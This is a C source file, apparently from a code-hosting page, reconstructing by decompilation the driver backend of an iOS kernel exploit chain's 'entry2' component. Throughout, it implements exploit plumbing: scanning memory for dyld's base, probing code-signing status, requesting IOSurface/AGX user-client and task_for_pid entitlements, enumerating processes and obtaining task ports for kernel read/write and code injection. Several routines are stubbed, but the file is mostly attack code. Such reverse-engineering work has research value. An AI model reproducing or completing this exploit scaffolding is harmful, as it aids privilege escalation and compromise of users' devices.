Files
coruna/src/entry2/driver.c
T
2026-03-12 21:09:59 +07:00

593 lines
19 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
/*
* driver.c - Driver backend initialization and management
*
* Decompiled from entry2_type0x0f.dylib offsets 0x182a80x18740,
* 0xc0940xc3fc, 0xba300xbdd0, 0xb8540xb970
*
* The driver backend is the bridge between the krw provider and the
* actual kernel exploitation primitives in type0x09. It handles:
* - Finding dyld's base address via page scanning
* - Extracting the kernel version from Mach-O headers
* - Setting up IOKit user client connections
* - Dispatching kernel reads/writes through the driver
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <dlfcn.h>
#include <unistd.h>
#include <mach-o/loader.h>
#include <sys/sysctl.h>
#include <errno.h>
/* Private syscall — no public header */
extern int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);
/* ── e2_init_driver_backend (0x182a8) ────────────────────────────── *
* Heavy initialization of the driver backend context (0x178 bytes).
*
* This function:
* 1. Gets process info via _NSGet* functions
* 2. Finds dyld base address by scanning backwards from dladdr
* 3. Extracts kernel version from dyld's Mach-O header
* 4. Opens /usr/lib/system/libcache.dylib
* 5. Initializes symbol resolver and Mach-O parser
* 6. Sets up IOKit user client connection
*/
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
void *target, const char *extra)
{
if (!out)
return E2_ERR_NULL;
if (!driver) {
if (!target) return E2_ERR_NULL;
}
/* Allocate backend context */
driver_backend_t *backend = calloc(1, 0x178);
if (!backend) return E2_ERR_ALLOC;
/*
* Step 1: Get process information
*
* These _NSGet* functions provide access to the program's
* argc/argv/environ without going through main(). This works
* even in injected dylibs.
*/
extern void *_NSGetMachExecuteHeader(void);
extern int *_NSGetArgc(void);
extern char ***_NSGetArgv(void);
extern char ***_NSGetEnviron(void);
extern const char **_NSGetProgname(void);
backend->mach_header = _NSGetMachExecuteHeader(); /* +0xC8 */
backend->argc_ptr = _NSGetArgc(); /* +0xD0 */
backend->argv_ptr = _NSGetArgv(); /* +0xD8 */
backend->environ_ptr = _NSGetEnviron(); /* +0xE0 */
backend->progname_ptr = (void *)_NSGetProgname(); /* +0xE8 */
if (!backend->mach_header || !backend->argc_ptr ||
!backend->argv_ptr || !backend->environ_ptr) {
free(backend);
return E2_ERR_INIT;
}
if (!backend->progname_ptr) {
free(backend);
return E2_ERR_INIT;
}
/*
* Step 2: Check sandbox status
*
* Calls a function (0x184d0) that checks if the process is
* sandboxed. This affects which IOKit operations are available.
*/
uint8_t sandbox_result = 0;
kern_return_t kr = 0; /* e2_check_sandbox(&backend->sandbox_result) */
if (kr != KERN_SUCCESS) {
free(backend);
return kr;
}
/* Check extra config flags */
if (extra && *extra) {
/* Additional device-specific initialization (0x19e0c) */
/* This checks SoC type and adjusts behavior */
}
/*
* Step 3: Find dyld base address by scanning memory
*
* Takes the PAC-stripped address of dladdr, rounds down to page
* boundary, then scans backwards page-by-page looking for
* MH_MAGIC_64 (0xFEEDFACF).
*
* asm equivalent:
* ldr x16, [dladdr_got]
* paciza x16
* mov x30, x16
* xpaclri // strip PAC from dladdr ptr
* and x8, x30, #~0xFFF // page-align
* ldr w10, [x8] // read first word
* sub x8, x8, #0x1000 // go back one page
* cmp w10, #0xFEEDFACF // MH_MAGIC_64?
* b.ne loop
*
* Once found, extract kernel version from the Mach-O header at
* offset +0x1008, masked to lower 24 bits.
*/
Dl_info dlinfo;
void *dladdr_ptr = (void *)dladdr; /* get dladdr's own address */
uint64_t stripped = e2_strip_pac((uint64_t)dladdr_ptr);
uint64_t page = stripped & ~0xFFFULL;
/* Scan backwards for MH_MAGIC_64 */
while (*(uint32_t *)page != MAGIC_MH64) {
page -= 0x1000;
}
/* dyld base found at 'page' */
/* Extract kernel version from dyld header + 0x1008 */
uint32_t kver = *(uint32_t *)(page + 0x1008);
backend->kern_version = kver & 0xFFFFFF;
/*
* Step 4: Set up target binding
*
* If we have a driver ref and target, check whether we own
* the target allocation (owns_target flag at +0x10).
*
* If owns_target is true and the target has a release function
* at offset +0x18, we'll call it during cleanup.
*/
bool owns_target = (driver != NULL && target == NULL);
backend->driver_ref = driver;
backend->target_binding = target;
backend->owns_target = owns_target;
/* Copy extra config flags */
if (extra) {
backend->flags_1c = *(uint8_t *)extra;
}
/*
* Step 5: Open libcache.dylib
*
* This is loaded with RTLD_NOLOAD (0x12) which only succeeds
* if already in memory. libcache provides cache management APIs
* used by the symbol resolver.
*/
void *libcache = dlopen("/usr/lib/system/libcache.dylib", 0x12);
backend->libcache_handle = libcache;
/*
* Step 6: Initialize subsystems
*
* Calls two initialization functions:
* 0x13d84: Mach-O parser init — sets up structures for parsing
* the target binary's load commands, segments, etc.
* 0x1b83c: Symbol resolver init — builds a symbol table for
* fast lookups in loaded dylibs.
*
* If either fails, falls back to 0x14714 (minimal init).
*/
kr = 0; /* e2_init_macho_parser(backend) at 0x13d84 */
if (kr != KERN_SUCCESS) {
if (owns_target) {
/* Release target binding: call target[0x20](target, binding) */
}
free(backend);
return kr;
}
kr = 0; /* e2_init_symbol_resolver(backend) at 0x1b83c */
if (kr != KERN_SUCCESS) {
/* Fallback to minimal init: 0x14714 */
if (owns_target) {
/* Release target binding */
}
free(backend);
return kr;
}
/* Success — store backend pointer */
/* *out = backend; */
return KERN_SUCCESS;
}
/* ── e2_driver_cleanup (0xc094) ──────────────────────────────────── *
* Cleans up a driver connection context.
*
* Cleanup order:
* 1. Free IOKit buffers (0xcd00) if present at +0x30
* 2. Close file descriptors (0xfd4c) at +0x28
* 3. Close IOKit connection (0xe178) at +0x18
* 4. If owns_target (+0x08), destroy connection internals (0x185d0)
* 5. Zero out and free the context
*/
kern_return_t e2_driver_cleanup(void *driver_ctx)
{
if (!driver_ctx) return E2_ERR_NULL;
kern_return_t result = KERN_SUCCESS;
/* +0x30: IOKit buffers — cleanup via 0xcd00 */
void *iokit_buf = *((void **)driver_ctx + 6); /* offset 0x30 */
if (iokit_buf) {
/* e2_cleanup_iokit_buffers(iokit_buf) at 0xcd00 */
free(iokit_buf);
}
/* +0x28: file descriptors — close via 0xfd4c */
void *fd_ptr = *((void **)driver_ctx + 5); /* offset 0x28 */
kern_return_t kr1 = 0; /* e2_close_fds(fd_ptr) */
/* +0x18: IOKit connection — close via 0xe178 */
void *iokit_conn = *((void **)driver_ctx + 3); /* offset 0x18 */
kern_return_t kr2 = 0; /* e2_close_iokit(iokit_conn) */
if (result == KERN_SUCCESS) result = kr2;
/* +0x08: owns_target flag */
uint8_t owns = *((uint8_t *)driver_ctx + 8);
if (owns) {
void *conn = *(void **)driver_ctx;
/* e2_destroy_conn_internals(conn) at 0x185d0 */
if (result == KERN_SUCCESS) result = 0; /* kr from destroy */
}
/* Zero and free */
*((void **)driver_ctx + 6) = NULL; /* clear +0x30 */
memset(driver_ctx, 0, 0x30);
free(driver_ctx);
return result;
}
/* ── e2_driver_connect (0xc12c) ──────────────────────────────────── *
* Establishes a connection to the IOKit driver backend.
*
* This validates the Mach-O magic of the loaded driver and
* sets up the IOKit user client connection:
*
* 1. Checks code signing via csops (on older iOS via CS_OPS_CDHASH,
* on newer iOS via CS_OPS_STATUS)
* 2. Gets memory mapping info via the driver's alloc function
* (offset +0x18) with flags 0xF0000
* 3. Validates Mach-O magic: FEEDFACF, CAFEBABE, BEBAFECA, CEFAEDFE
* 4. Allocates driver context (0x38 bytes) for the connection
* 5. Sets up IOKit entitlements for IOSurface/AGX user client access
* 6. Calls through to driver's external method handler
*/
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
void *target, void *binding)
{
if (!dest || !target)
return E2_ERR_NULL;
/* Validate target descriptor version */
uint16_t ver = *(uint16_t *)target;
if (ver != 1) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
if (cnt == 0) return E2_ERR_NULL;
/*
* Check code signing status
*
* On iOS >= 15.x (detected via dyldVersionNumber comparison),
* uses CS_OPS_CDHASH (5) with 20-byte hash output.
* On older iOS, uses CS_OPS_STATUS (0) with 4-byte output.
*
* This determines if the process has valid signatures,
* which affects what IOKit connections are permitted.
*/
pid_t pid = getpid();
uint8_t cs_info[20] = {0};
extern double dyldVersionNumber;
if (dyldVersionNumber >= /* threshold */(double)0) {
/* Newer path: CS_OPS_CDHASH */
int cs_result = csops(pid, 5 /* CS_OPS_CDHASH */, cs_info, 20);
if (cs_result < 0) {
int err = errno;
if (err != 28 /* ENOSPC */) return err | 0x40000000;
}
} else {
/* Older path: CS_OPS_STATUS */
int cs_result = csops(pid, 0 /* CS_OPS_STATUS */, cs_info + 12, 4);
if (cs_result < 0) return 0; /* errno based error */
}
/*
* Get memory mapping from driver
*
* Calls the target's allocation function (offset +0x18) with
* flags 0xF0000 to get a memory region for the driver connection.
*/
void *mapping = NULL;
uint32_t mapping_size = 0;
/* target->fn_alloc(target, 0xF0000, &mapping, &mapping_size) */
if (!mapping || mapping_size < 0x21)
return E2_ERR_NULL;
/*
* Validate Mach-O magic of the loaded driver
*
* Accepts: MH_MAGIC_64 (FEEDFACF), FAT_MAGIC (CAFEBABE/BEBAFECA),
* MH_CIGAM_64 (CEFAEDFE/CFFAEDFE/CFFAEDFD)
* Also accepts: 0x11205325 range (signed 64-bit Mach-O variants)
*/
uint32_t magic = *(uint32_t *)mapping;
bool valid_magic = (magic == MAGIC_MH64 ||
magic == MAGIC_FAT_BE ||
magic == MAGIC_FAT_LE ||
magic == MAGIC_MH64_LE ||
magic == MAGIC_MH64_BE ||
magic == MAGIC_MH64_BE2);
if (!valid_magic)
return E2_ERR_NULL;
/*
* Allocate driver connection context (0x38 bytes)
*
* If binding is provided (version=2, methods>=2), allocates
* a binding context (0x10 bytes) and copies the reference.
*
* Otherwise, checks for sandbox restrictions (0x184d0) and
* allocates a plain context.
*/
void *conn_ctx = calloc(1, 0x38);
if (!conn_ctx) return E2_ERR_ALLOC;
if (binding) {
/* Binding context: allocate and store reference */
void *bind_ctx = calloc(1, 0x10);
if (!bind_ctx) {
free(conn_ctx);
return E2_ERR_ALLOC;
}
*(void **)bind_ctx = binding;
/* Set up IOKit entitlements via the binding's connect function
* (0xe2dc), using the entitlement XML strings:
*
* For IOKit:
* <dict><key>com.apple.security.iokit-user-client-class</key>
* <array><string>IOSurfaceRootUserClient</string>
* <string>AGXDeviceUserClient</string></array></dict>
*
* For task_for_pid:
* <dict><key>task_for_pid-allow</key><true/></dict>
*/
} else {
/* No binding — check sandbox first */
uint8_t sb = 0;
/* e2_check_sandbox_status(&sb) at 0x184d0 */
if (sb) return E2_ERR_CSOPS;
}
/* Store in output */
*(void **)dest = conn_ctx;
return KERN_SUCCESS;
}
/* ── e2_krw_dispatch (0xba30) ────────────────────────────────────── *
* Core KRW dispatch function — process enumeration + kernel read.
*
* This is the heavyweight function (~700 instructions) that:
* 1. Resolves the target path (strrchr '/' or realpath)
* 2. Creates NSConcreteStackBlock callbacks for process iteration
* 3. Uses sysctl(CTL_KERN, KERN_PROC, KERN_PROC_ALL) to get
* the full process list
* 4. Iterates through each kinfo_proc (0x288 bytes each)
* 5. For matching processes, invokes the callback block
* 6. The callback reads kernel task structures and extracts ports
*
* The NSConcreteStackBlock usage is notable: it creates Objective-C
* compatible block objects on the stack, with PAC-signed invoke
* pointers (pacia x16, x15 where x15 = block + 0x10).
*/
kern_return_t e2_krw_dispatch(uint64_t arg0, ...)
{
const char *target_path = (const char *)arg0;
/* Note: additional args extracted from va_list depending on operation.
* For simplicity, the dispatch logic below shows the process-enum path
* (called from kread with arg0=kaddr, arg1=3). */
if (!target_path)
return E2_ERR_RESOLVE;
/* Validate target_path is non-empty */
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
/* Extract flags from varargs (second argument) */
va_list ap;
va_start(ap, arg0);
uint32_t flags = va_arg(ap, uint32_t);
va_end(ap);
/* Resolve path: if flags & 1, use realpath; else use basename */
char *resolved = NULL;
const char *search_name = target_path;
if (flags & 1) {
resolved = realpath(target_path, NULL);
if (!resolved) {
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
search_name = target_path;
} else {
search_name = resolved;
}
} else {
/* Find basename by looking for last '/' */
const char *slash = strrchr(target_path, '/');
search_name = slash ? slash + 1 : target_path;
if (*search_name == 0)
return E2_ERR_RESOLVE;
}
/*
* Build stack blocks for process iteration.
*
* Block 1 (sp+0x08): per-process callback
* isa = _NSConcreteStackBlock (PAC-signed with pacda)
* flags = 0xC2000000 (from constant pool at 0x1ef80)
* invoke = pacized function pointer
* descriptor = pointer to block descriptor
* captures: search flags, path buffers
*
* Block 2 (sp+0xb8): inner iteration callback
* Similar structure, captures block 1 and output buffer
*/
/* Query process list size */
int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
size_t proc_buf_size = 0;
if (sysctl(mib, 4, NULL, &proc_buf_size, NULL, 0) != 0)
goto fail;
if (proc_buf_size == 0)
return KERN_SUCCESS;
/* Allocate and fetch process list */
void *proc_buf = malloc(proc_buf_size * 2); /* 2x for safety */
if (!proc_buf) goto fail;
proc_buf_size *= 2;
if (sysctl(mib, 4, proc_buf, &proc_buf_size, NULL, 0) != 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
goto fail;
}
/*
* Iterate through kinfo_proc entries.
*
* Each entry is 0x288 bytes (struct kinfo_proc on arm64).
* For each entry, invoke the callback block which:
* 1. Compares the process name
* 2. If matched, reads kernel task port via krw
* 3. Stores the port in the output
*/
uint32_t num_procs = (uint32_t)(proc_buf_size / 0x288);
if (num_procs == 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
return KERN_SUCCESS;
}
kern_return_t result = E2_ERR_SYSCTL;
for (uint32_t i = 0; i < num_procs; i++) {
void *entry = (uint8_t *)proc_buf + (i * 0x288);
/* Call block2->invoke(block2, entry) with PAC auth */
/* result = block_invoke(entry); */
if (result == KERN_SUCCESS)
break;
}
/* Check if we found the target */
if (result == KERN_SUCCESS) {
/* Read port from block capture */
/* *out_port = captured_port; */
}
/* Cleanup */
bzero(proc_buf, proc_buf_size);
free(proc_buf);
/* Cleanup resolved path */
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return result;
fail:
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return E2_ERR_SYSCTL;
}
/* ── e2_get_task_port (0xb854) ───────────────────────────────────── *
* Gets a task port via Mach IPC.
*
* Sends a command message (type 5) and receives back:
* - Port right type at offset 0x18
* - Port send count at offset 0x1C
* - The task port itself at offset 0x08
*
* The task port is a mach_port_t that can be used for:
* - mach_vm_allocate / mach_vm_write / mach_vm_protect
* - thread_create_running
* - task_info
*/
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
void *arg2, void *out_port, void *arg4)
{
if (port + 1 < 2)
return E2_ERR_VM_FAIL - 0x1D;
/* Allocate response buffer */
void *response = calloc(1, 0x28);
if (!response) return E2_ERR_GENERIC;
/* Send IPC command via 0xcea4 (mach_msg send with type 5) */
kern_return_t kr;
kr = 0; /* e2_ipc_command(port, 5, 0x28, response, cmd) at 0xcea4 */
if (kr != KERN_SUCCESS) goto cleanup;
/* Validate response */
uint32_t resp_type = ((uint32_t *)response)[5]; /* offset 0x14 */
if (resp_type != 5) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
uint32_t resp_size = ((uint32_t *)response)[1]; /* offset 0x04 */
if (resp_size != 0x20) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
/* Extract results */
if (out_rights) {
*(uint32_t *)out_rights = ((uint32_t *)response)[6]; /* offset 0x18 */
}
/* arg2 corresponds to out_type in the original 7-arg version,
* but krw_get_port passes NULL here (x2 = 0) */
if (arg2) {
*(uint32_t *)arg2 = ((uint32_t *)response)[7]; /* offset 0x1C */
}
kr = KERN_SUCCESS;
if (out_port) {
*(uint32_t *)out_port = ((uint32_t *)response)[2]; /* offset 0x08 */
/* Clear the port from response to prevent double-dealloc */
((uint32_t *)response)[2] = 0;
}
cleanup:
;
/* Deallocate any port rights in response */
uint32_t resp_port = ((uint32_t *)response)[2];
if (resp_port + 1 >= 2) {
mach_port_deallocate(mach_task_self(), resp_port);
}
free(response);
return kr;
}